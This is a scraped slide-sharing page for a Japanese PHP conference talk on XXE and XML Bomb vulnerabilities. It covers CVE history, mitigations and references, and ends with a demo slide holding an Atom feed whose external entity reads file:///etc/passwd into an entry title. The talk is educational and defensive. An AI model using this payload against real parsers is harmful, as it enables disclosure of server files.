• 佐名木智貴著 『セキュア Web プログラミング Tips 集』 ソフト・リサーチ・センター, 2008 年
• 徳丸浩著 『体系的に学ぶ 安全な Web アプリケーションの作り方』 ソフトバンククリエイティブ, 2011 年
調査結果
(No English subtitles)
• XML External Entity: PHP マニュアル (!)、 T.Terada さんの日記、 JVN などの各
製品のアドバイザリ
• XXE: ほぼ関係ない検索結果 (先の T.Terada さんの日記に対する徳丸さんのはて
ブが引っかかるくらい)
• XML Bomb: 数サイトで言及が見られた他は JVN などのアドバイザリのみ
• XML Entity Expansion: JVN などのアドバイザリのみ
• Billion Laughs: MSDN での言及が見られるほかはアドバイザリのみ
• XML Entity Explosion: 水無月ばけらさんの日記など、 Rails でこの問題が発見さ
れた際の言及がいくらか見られる程度
おしえて Google 先生!
(No English subtitles)
XXE or XML Bomb in CVE
• Search CVEs by '"xml external entity" OR "xml entity expansion" OR "xml entity explosion" OR "xml bomb" OR
"billion laughs" OR "xxe" OR "xee" (And removed about XXE archive by my hand)
• And for 2013, I know that contains reserved CVE-2013-4333, CVE-2013-4334 and CVE-2013-4335 are XXE
Problem because I’m reporter of these problem, so I’ve added +3
0
5
10
15
20
2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013
17
14
6
1
3
2
00
1
0
11
History (2002, 2003)
• First report of XXE: http://
www.securityfocus.com/archive/1/297714
(Bugtraq, 2002/10)
• First report of XML Bomb: http://lists.xml.org/
archives/xml-dev/200302/msg00022.html ([xml-
dev], 2003/02)
History (2005-2011)
• 2005
Adobe Reader / Acrobat (CVE-2005-1306)
• 2008
Java (CVE-2008-0628), Ruby (CVE-2008-3790)
• 2009
WebKit (CVE-2009-1699), Adobe Reader / Acrobat
(CVE-2009-2979)
• 2011
Mac OS X (CVE-2011-0212), phpMyAdmin (CVE-2011-4107)
History (2012)
• OpenOffice(CVE-2012-0037), PostgreSQL(CVE-2012-3488),
ZendFramework(CVE-2012-3363, CVE-2012-5657, CVE-2012-6531, CVE-2012-6532),
Symfony(version 2.0.11, 2.0.17), CakePHP(CVE-2012-4399),
Nokogiri, CPAN XML::Atom(CVE-2012-1102 [reserved])
• PHDays 2012 -- ONsec PHDays 2012 XXE incapsulated
report
History (2013)
• PHP(CVE-2013-1643), Python(CVE-2013-1664, CVE-2013-1665),
Ruby(CVE-2013-1821), Ruby on Rails(CVE-2013-1856),
mod_security(CVE-2013-1915), MediaWiki, Play Framework
WordPress(CVE-2013-2202), Microsoft Office (CVE-2013-3160)
• And I reported the following (discovered):
OpenPNE(CVE-2013-4333, 2013-4334, 2013-4335)
PHP OpenID Library(CVE-2013-4701)
CONCLUSION
• XML のエンティティ解決に関わる処理が脆弱となりうる
• 利用側での対策は比較的楽なので、パーサや言語バインディング
側での対応が落ち着くまでは利用側での対策を推奨
• XXE の存在が徐々に広まりつつあり、これに伴いメジャーなソフトウ
ェアでの発見事例が増加している
• XXE と共に SSRF が注目されつつあり、積極的に攻撃手法も研究さ
れている状況なので注意が必要
• 特に任意のストリームラッパーを攻撃者が利用できるような状況は
危険
まとめ
(No English subtitles)
Question?
• Vladimir Vorontsov, ONsec PHDays 2012 XXE incapsulated
report, 2012
• ONSec Lab, SSRF bible. Cheatsheet - Google Drive, 2013
• Pádraic Brady, Web Advent 2012 / The Three Ugly Sisters,
2012
• OWASP, XML External Entity (XXE) Processing - OWASP,
2012
• MediaWiki, XML External Entity Processing - MediaWiki, 2013
References

Weitere ähnliche Inhalte

Was ist angesagt?

LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall )
LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall ) LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall )
LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall ) Hironobu Isoda
 
Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26
Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26
Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26Yahoo!デベロッパーネットワーク
 
Java ORマッパー選定のポイント #jsug
Java ORマッパー選定のポイント #jsugJava ORマッパー選定のポイント #jsug
Java ORマッパー選定のポイント #jsugMasatoshi Tada
 
Visual StudioやAzureからAzure DevOpsを使う
Visual StudioやAzureからAzure DevOpsを使うVisual StudioやAzureからAzure DevOpsを使う
Visual StudioやAzureからAzure DevOpsを使うTakeshi Fukuhara
 
Elasticsearchプラグインの作り方
Elasticsearchプラグインの作り方Elasticsearchプラグインの作り方
Elasticsearchプラグインの作り方Shinsuke Sugaya
 
Amazon S3による静的Webサイトホスティング
Amazon S3による静的WebサイトホスティングAmazon S3による静的Webサイトホスティング
Amazon S3による静的WebサイトホスティングYasuhiro Horiuchi
 
今さらだけどMySQLとライセンス
今さらだけどMySQLとライセンス今さらだけどMySQLとライセンス
今さらだけどMySQLとライセンスHidenori Ishii
 
ツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところ
ツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところ
ツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところY Watanabe
 
The Twelve-Factor Appで考えるAWSのサービス開発
The Twelve-Factor Appで考えるAWSのサービス開発The Twelve-Factor Appで考えるAWSのサービス開発
The Twelve-Factor Appで考えるAWSのサービス開発Amazon Web Services Japan
 
[AWSマイスターシリーズ] Amazon SQS / SNS
[AWSマイスターシリーズ] Amazon SQS / SNS[AWSマイスターシリーズ] Amazon SQS / SNS
[AWSマイスターシリーズ] Amazon SQS / SNSAmazon Web Services Japan
 
20220409 AWS BLEA 開発にあたって検討したこと
20220409 AWS BLEA 開発にあたって検討したこと20220409 AWS BLEA 開発にあたって検討したこと
20220409 AWS BLEA 開発にあたって検討したことAmazon Web Services Japan
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021Hiroshi Tokumaru
 
Practical migration from JSP to Thymeleaf
Practical migration from JSP to Thymeleaf Practical migration from JSP to Thymeleaf
Practical migration from JSP to Thymeleaf Toshiki Iga
 
あらためて Azure virtual network
あらためて Azure virtual networkあらためて Azure virtual network
あらためて Azure virtual networkKuniteru Asami
 
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話JustSystems Corporation
 
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティスAmazon Web Services Japan
 
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design PatternAWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design PatternAmazon Web Services Japan
 
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門Hiroshi Tokumaru
 
SolrとElasticsearchを比べてみよう
SolrとElasticsearchを比べてみようSolrとElasticsearchを比べてみよう
SolrとElasticsearchを比べてみようShinsuke Sugaya
 

Was ist angesagt? (20)

LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall )
LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall ) LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall )
LogbackからLog4j 2への移行によるアプリケーションのスループット改善 ( JJUG CCC 2021 Fall )
 
Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26
Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26
Micrometer/Prometheusによる大規模システムモニタリング #jsug #sf_26
 
Java ORマッパー選定のポイント #jsug
Java ORマッパー選定のポイント #jsugJava ORマッパー選定のポイント #jsug
Java ORマッパー選定のポイント #jsug
 
Visual StudioやAzureからAzure DevOpsを使う
Visual StudioやAzureからAzure DevOpsを使うVisual StudioやAzureからAzure DevOpsを使う
Visual StudioやAzureからAzure DevOpsを使う
 
Elasticsearchプラグインの作り方
Elasticsearchプラグインの作り方Elasticsearchプラグインの作り方
Elasticsearchプラグインの作り方
 
Amazon S3による静的Webサイトホスティング
Amazon S3による静的WebサイトホスティングAmazon S3による静的Webサイトホスティング
Amazon S3による静的Webサイトホスティング
 
今さらだけどMySQLとライセンス
今さらだけどMySQLとライセンス今さらだけどMySQLとライセンス
今さらだけどMySQLとライセンス
 
ツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところ
ツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところ
ツール比較しながら語る O/RマッパーとDBマイグレーションの実際のところ
 
The Twelve-Factor Appで考えるAWSのサービス開発
The Twelve-Factor Appで考えるAWSのサービス開発The Twelve-Factor Appで考えるAWSのサービス開発
The Twelve-Factor Appで考えるAWSのサービス開発
 
[AWSマイスターシリーズ] Amazon SQS / SNS
[AWSマイスターシリーズ] Amazon SQS / SNS[AWSマイスターシリーズ] Amazon SQS / SNS
[AWSマイスターシリーズ] Amazon SQS / SNS
 
20220409 AWS BLEA 開発にあたって検討したこと
20220409 AWS BLEA 開発にあたって検討したこと20220409 AWS BLEA 開発にあたって検討したこと
20220409 AWS BLEA 開発にあたって検討したこと
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
Practical migration from JSP to Thymeleaf
Practical migration from JSP to Thymeleaf Practical migration from JSP to Thymeleaf
Practical migration from JSP to Thymeleaf
 
あらためて Azure virtual network
あらためて Azure virtual networkあらためて Azure virtual network
あらためて Azure virtual network
 
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
 
At least onceってぶっちゃけ問題の先送りだったよね #kafkajp
At least onceってぶっちゃけ問題の先送りだったよね #kafkajpAt least onceってぶっちゃけ問題の先送りだったよね #kafkajp
At least onceってぶっちゃけ問題の先送りだったよね #kafkajp
 
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
[Aurora事例祭り]Amazon Aurora を使いこなすためのベストプラクティス
 
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design PatternAWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
 
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
 
SolrとElasticsearchを比べてみよう
SolrとElasticsearchを比べてみようSolrとElasticsearchを比べてみよう
SolrとElasticsearchを比べてみよう
 

Ähnlich wie XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Firefox5+HTML5×5
Firefox5+HTML5×5Firefox5+HTML5×5
Firefox5+HTML5×5dynamis
 
Seasarプロジェクト徹底攻略
Seasarプロジェクト徹底攻略Seasarプロジェクト徹底攻略
Seasarプロジェクト徹底攻略takezoe
 
「html5 boilerplate」から考える、これからのマークアップ
「html5 boilerplate」から考える、これからのマークアップ「html5 boilerplate」から考える、これからのマークアップ
「html5 boilerplate」から考える、これからのマークアップYasuhito Yabe
 
第9回rest勉強会 ダウンロード・アップロード編
第9回rest勉強会 ダウンロード・アップロード編第9回rest勉強会 ダウンロード・アップロード編
第9回rest勉強会 ダウンロード・アップロード編ksimoji
 
AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析Hiroyasu Suzuki
 
AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析Hiroyasu Suzuki
 
G*workshop 2011/11/22 Geb+Betamax
G*workshop 2011/11/22 Geb+BetamaxG*workshop 2011/11/22 Geb+Betamax
G*workshop 2011/11/22 Geb+BetamaxNobuhiro Sue
 
Struts2を始めよう!
Struts2を始めよう!Struts2を始めよう!
Struts2を始めよう!Shinpei Ohtani
 
ノンプログラマのためのウェブサーバ入門
ノンプログラマのためのウェブサーバ入門	ノンプログラマのためのウェブサーバ入門
ノンプログラマのためのウェブサーバ入門 Atsu Yamaga
 
Spring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframework
Spring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframeworkSpring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframework
Spring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframeworkToshiaki Maki
 
社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ 社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ Daisuke Ikeda
 
TDC20111031_Groovy_Geb
TDC20111031_Groovy_GebTDC20111031_Groovy_Geb
TDC20111031_Groovy_GebNobuhiro Sue
 
Hive undocumented feature
Hive undocumented featureHive undocumented feature
Hive undocumented featuretamtam180
 
CSS Design and Programming
CSS Design and ProgrammingCSS Design and Programming
CSS Design and ProgrammingTaku AMANO
 
Webサーバ勉強会 発表資料
Webサーバ勉強会 発表資料Webサーバ勉強会 発表資料
Webサーバ勉強会 発表資料oranie Narut
 
Alfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみよう
Alfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみようAlfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみよう
Alfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみようTasuku Otani
 
SecureAssist Enterprise Portal APIガイド
SecureAssist Enterprise Portal APIガイドSecureAssist Enterprise Portal APIガイド
SecureAssist Enterprise Portal APIガイドAsterisk Research, Inc.
 

Ähnlich wie XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP- (20)

Firefox5+HTML5×5
Firefox5+HTML5×5Firefox5+HTML5×5
Firefox5+HTML5×5
 
Seasarプロジェクト徹底攻略
Seasarプロジェクト徹底攻略Seasarプロジェクト徹底攻略
Seasarプロジェクト徹底攻略
 
「html5 boilerplate」から考える、これからのマークアップ
「html5 boilerplate」から考える、これからのマークアップ「html5 boilerplate」から考える、これからのマークアップ
「html5 boilerplate」から考える、これからのマークアップ
 
第9回rest勉強会 ダウンロード・アップロード編
第9回rest勉強会 ダウンロード・アップロード編第9回rest勉強会 ダウンロード・アップロード編
第9回rest勉強会 ダウンロード・アップロード編
 
APIMeetup 20170329_ichimura
APIMeetup 20170329_ichimuraAPIMeetup 20170329_ichimura
APIMeetup 20170329_ichimura
 
AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析
 
AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析AWStatsでS3&CloudFrontのアクセス解析
AWStatsでS3&CloudFrontのアクセス解析
 
G*workshop 2011/11/22 Geb+Betamax
G*workshop 2011/11/22 Geb+BetamaxG*workshop 2011/11/22 Geb+Betamax
G*workshop 2011/11/22 Geb+Betamax
 
Struts2を始めよう!
Struts2を始めよう!Struts2を始めよう!
Struts2を始めよう!
 
ノンプログラマのためのウェブサーバ入門
ノンプログラマのためのウェブサーバ入門	ノンプログラマのためのウェブサーバ入門
ノンプログラマのためのウェブサーバ入門
 
後期02
後期02後期02
後期02
 
Spring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframework
Spring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframeworkSpring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframework
Spring Frameworkの今 (2013年版) #jjug_ccc #ccc_r17 #springframework
 
社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ 社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~
 
TDC20111031_Groovy_Geb
TDC20111031_Groovy_GebTDC20111031_Groovy_Geb
TDC20111031_Groovy_Geb
 
Hive undocumented feature
Hive undocumented featureHive undocumented feature
Hive undocumented feature
 
CSS Design and Programming
CSS Design and ProgrammingCSS Design and Programming
CSS Design and Programming
 
Webサーバ勉強会 発表資料
Webサーバ勉強会 発表資料Webサーバ勉強会 発表資料
Webサーバ勉強会 発表資料
 
Alfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみよう
Alfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみようAlfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみよう
Alfresco勉強会#36 alfresco 5でカスタムREST APIを作ってみよう
 
SecureAssist Enterprise Portal APIガイド
SecureAssist Enterprise Portal APIガイドSecureAssist Enterprise Portal APIガイド
SecureAssist Enterprise Portal APIガイド
 
scala-kaigi1-sbt
scala-kaigi1-sbtscala-kaigi1-sbt
scala-kaigi1-sbt
 

Mehr von Kousuke Ebihara

お前は PHP の歴史的な理由の数を覚えているのか
お前は PHP の歴史的な理由の数を覚えているのかお前は PHP の歴史的な理由の数を覚えているのか
お前は PHP の歴史的な理由の数を覚えているのかKousuke Ebihara
 
Let's creating your own PHP (tejimaya version)
Let's creating your own PHP (tejimaya version)Let's creating your own PHP (tejimaya version)
Let's creating your own PHP (tejimaya version)Kousuke Ebihara
 
Using Symfony Templating On Symfony 1
Using Symfony Templating On Symfony 1Using Symfony Templating On Symfony 1
Using Symfony Templating On Symfony 1Kousuke Ebihara
 
Introduction of symfony development process & What's symfony 1.3?
Introduction of symfony development process & What's symfony 1.3?Introduction of symfony development process & What's symfony 1.3?
Introduction of symfony development process & What's symfony 1.3?Kousuke Ebihara
 
OAuthで気持ちのいい アクセス制御を
OAuthで気持ちのいいアクセス制御をOAuthで気持ちのいいアクセス制御を
OAuthで気持ちのいい アクセス制御をKousuke Ebihara
 
Php5.3ってなんなんだー
Php5.3ってなんなんだーPhp5.3ってなんなんだー
Php5.3ってなんなんだーKousuke Ebihara
 
ルーティングを使って シンプルなアプリケーション開発を
ルーティングを使ってシンプルなアプリケーション開発をルーティングを使ってシンプルなアプリケーション開発を
ルーティングを使って シンプルなアプリケーション開発をKousuke Ebihara
 

Mehr von Kousuke Ebihara (9)

お前は PHP の歴史的な理由の数を覚えているのか
お前は PHP の歴史的な理由の数を覚えているのかお前は PHP の歴史的な理由の数を覚えているのか
お前は PHP の歴史的な理由の数を覚えているのか
 
Open pne3 with_symfony
Open pne3 with_symfonyOpen pne3 with_symfony
Open pne3 with_symfony
 
Let's creating your own PHP (tejimaya version)
Let's creating your own PHP (tejimaya version)Let's creating your own PHP (tejimaya version)
Let's creating your own PHP (tejimaya version)
 
Hybrid Onboarding
Hybrid OnboardingHybrid Onboarding
Hybrid Onboarding
 
Using Symfony Templating On Symfony 1
Using Symfony Templating On Symfony 1Using Symfony Templating On Symfony 1
Using Symfony Templating On Symfony 1
 
Introduction of symfony development process & What's symfony 1.3?
Introduction of symfony development process & What's symfony 1.3?Introduction of symfony development process & What's symfony 1.3?
Introduction of symfony development process & What's symfony 1.3?
 
OAuthで気持ちのいい アクセス制御を
OAuthで気持ちのいいアクセス制御をOAuthで気持ちのいいアクセス制御を
OAuthで気持ちのいい アクセス制御を
 
Php5.3ってなんなんだー
Php5.3ってなんなんだーPhp5.3ってなんなんだー
Php5.3ってなんなんだー
 
ルーティングを使って シンプルなアプリケーション開発を
ルーティングを使ってシンプルなアプリケーション開発をルーティングを使ってシンプルなアプリケーション開発を
ルーティングを使って シンプルなアプリケーション開発を
 

Kürzlich hochgeladen

クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdfクラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdfFumieNakayama
 
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdfAWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdfFumieNakayama
 
自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineer
自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineer自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineer
自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineerYuki Kikuchi
 
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...博三 太田
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NTT DATA Technology & Innovation
 
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)Hiroshi Tomioka
 
CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?
CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?
CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?akihisamiyanaga1
 
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)UEHARA, Tetsutaro
 

Kürzlich hochgeladen (8)

クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdfクラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
 
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdfAWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
 
自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineer
自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineer自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineer
自分史上一番早い2024振り返り〜コロナ後、仕事は通常ペースに戻ったか〜 by IoT fullstack engineer
 
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
 
CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?
CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?
CTO, VPoE, テックリードなどリーダーポジションに登用したくなるのはどんな人材か?
 
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
 

XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

  • 1. XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP- (English subtitles are available!) Kousuke Ebihara (海老原昂輔) <kousuke@co3k.org>
  • 2. • Kousuke Ebihara (海老原昂輔) a.k.a @co3k • work at 株式会社手嶋屋 • a developer of OpenPNE • coding, code-review, performance, security • PHP カンファレンス初参戦 自己紹介 -Introduction-
  • 3. XMLExtensible Markup Language RSS / ATOM / XHTML / SVG / OpenDocument / XLIFF / KML / XSLT / SOAP / SAML / XUL / OpenSearch ... libxml2 is free software license (MIT license), not JSON license :) (You can use for Evil)
  • 4. 意識調査 -PHPer Survey- a)Do you know XML External Entity Injection (XXE) and / or XML Entity Expansion (XML Bomb, Billion Laughs Attack)? b)Have you used XML-related extensions (PHP DOM, SimpleXML, XMLReader, ...)?
  • 5. 意識調査 -PHPer Survey- c) Have you used libxml_disable_entity_loader()?
  • 7. • シンプルな RSS リーダ A simple RSS Reader • 任意の RSS / ATOM の URL を受け入れる accepts any of URLs for RSS or ATOM feed • 各エントリのタイトルを列挙するだけ enumerates titles of per entries • URL が HTTP プロトコルのものであること、サイズが 1MB 以内 であること、 整形式の XML としてパースできることをチェックする makes sure a protocol of the URL is HTTP, the contents can be parsed as well-formed XML and its length is within 1 MB デモの想定 -About demo script-
  • 8. • You can get all of the code from : https://github.com/ebihara/phpcon2013-ja- xxe-demo/blob/master/web/index.php#L85 パース部分のコード -Parse-
  • 9. • You can get all of the code from : https://github.com/ebihara/phpcon2013-ja- xxe-demo/blob/master/template/success.twig 出力部分のコード -Output-
  • 10. 普通のフィードを入力した場合 -A case of inputting normal RSS / ATOM feed-
  • 11. 攻撃用フィードその 1 -The exploit feed part 1- • You can get this XML from : https://gist.github.com/ebihara/ 0f2bbc55b5f7916545fe
  • 12. 攻撃用フィードを入力した場合 -A case of inputting the exploit feed part 1-
  • 13. 攻撃用フィードを入力した場合 -A case of inputting the exploit feed part 1- サーバ上の /etc/passwd の内容が! A content of /etc/passwd on this server!
  • 14. <!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry> <title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry> </feed> なぜ /etc/passwd が? -Why was the content of /etc/passwd displayed?-
